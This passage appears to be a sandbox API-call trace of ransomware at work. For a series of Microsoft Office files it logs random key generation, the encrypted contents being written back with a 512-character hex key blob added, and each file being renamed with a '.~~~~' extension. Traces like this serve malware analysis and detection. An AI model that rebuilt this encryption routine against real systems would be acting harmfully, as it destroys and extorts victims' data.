	[0133.533] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\header.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\HEADER.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\header.gif.~~~~")) returned 1
	[0133.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a72a0 | out: hHeap=0x300000) returned 1
	[0133.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0133.534] GetLastError () returned 0x0
	[0133.655] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.656] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.656] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0133.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.656] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25364645761) returned 1
	[0133.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb91c6570, dwHighDateTime=0x1d60e1e)) 
	[0133.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0133.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0133.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0133.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28247c0
	[0133.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28247c0 | out: hHeap=0x300000) returned 1
	[0133.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0133.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.657] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0133.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.657] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.657] GetLastError () returned 0x0
	[0133.658] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.658] GetLastError () returned 0x0
	[0133.661] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff881, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.661] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x77f, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x77f, lpOverlapped=0x0) returned 1
	[0133.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.664] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.664] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.664] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.664] CloseHandle (hObject=0x114) returned 1
	[0133.664] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0133.664] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd.~~~~")) returned 1
	[0133.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0133.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0133.666] GetLastError () returned 0x0
	[0133.666] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.668] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.668] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0133.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.668] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25365810928) returned 1
	[0133.668] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb91c6570, dwHighDateTime=0x1d60e1e)) 
	[0133.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0133.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0133.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0133.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28247f8
	[0133.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28247f8 | out: hHeap=0x300000) returned 1
	[0133.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0133.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8c80
	[0133.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.669] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.669] GetLastError () returned 0x0
	[0133.669] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.670] GetLastError () returned 0x0
	[0133.671] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.671] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xd0, lpOverlapped=0x0) returned 1
	[0133.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.673] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.673] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.673] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.673] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.673] CloseHandle (hObject=0x114) returned 1
	[0133.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a190
	[0133.677] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt.~~~~")) returned 1
	[0133.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0133.679] GetLastError () returned 0x0
	[0133.680] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.681] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.681] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0133.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.682] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25367191951) returned 1
	[0133.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb91ec6d0, dwHighDateTime=0x1d60e1e)) 
	[0133.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0133.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0133.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0133.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824830
	[0133.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824830 | out: hHeap=0x300000) returned 1
	[0133.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0133.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a88f0
	[0133.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.683] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.683] GetLastError () returned 0x0
	[0133.683] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.683] GetLastError () returned 0x0
	[0133.716] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.716] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0133.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.718] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.719] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.719] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.719] CloseHandle (hObject=0x114) returned 1
	[0133.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a190
	[0133.720] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk.~~~~")) returned 1
	[0133.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0133.721] GetLastError () returned 0x0
	[0133.722] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.723] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.723] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0133.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.724] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25371375124) returned 1
	[0133.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb925eaf0, dwHighDateTime=0x1d60e1e)) 
	[0133.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0133.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0133.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0133.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28248d8
	[0133.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28248d8 | out: hHeap=0x300000) returned 1
	[0133.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0133.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836128
	[0133.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.725] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.725] GetLastError () returned 0x0
	[0133.725] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.725] GetLastError () returned 0x0
	[0133.727] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffcce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.727] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x332, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x332, lpOverlapped=0x0) returned 1
	[0133.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.729] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.729] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.729] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.729] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.729] CloseHandle (hObject=0x114) returned 1
	[0133.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836128
	[0133.730] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd.~~~~")) returned 1
	[0133.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2836128 | out: hHeap=0x300000) returned 1
	[0133.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0133.732] GetLastError () returned 0x0
	[0133.732] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.734] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.734] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0133.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.734] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25372414587) returned 1
	[0133.734] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb9284c50, dwHighDateTime=0x1d60e1e)) 
	[0133.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0133.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0133.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0133.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cb28
	[0133.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cb28 | out: hHeap=0x300000) returned 1
	[0133.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0133.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.735] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8d18
	[0133.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.735] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.735] GetLastError () returned 0x0
	[0133.735] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.735] GetLastError () returned 0x0
	[0133.738] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffd438, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.738] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2bc8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x2bc8, lpOverlapped=0x0) returned 1
	[0133.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.740] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.740] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.741] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.741] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.741] CloseHandle (hObject=0x114) returned 1
	[0133.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a190
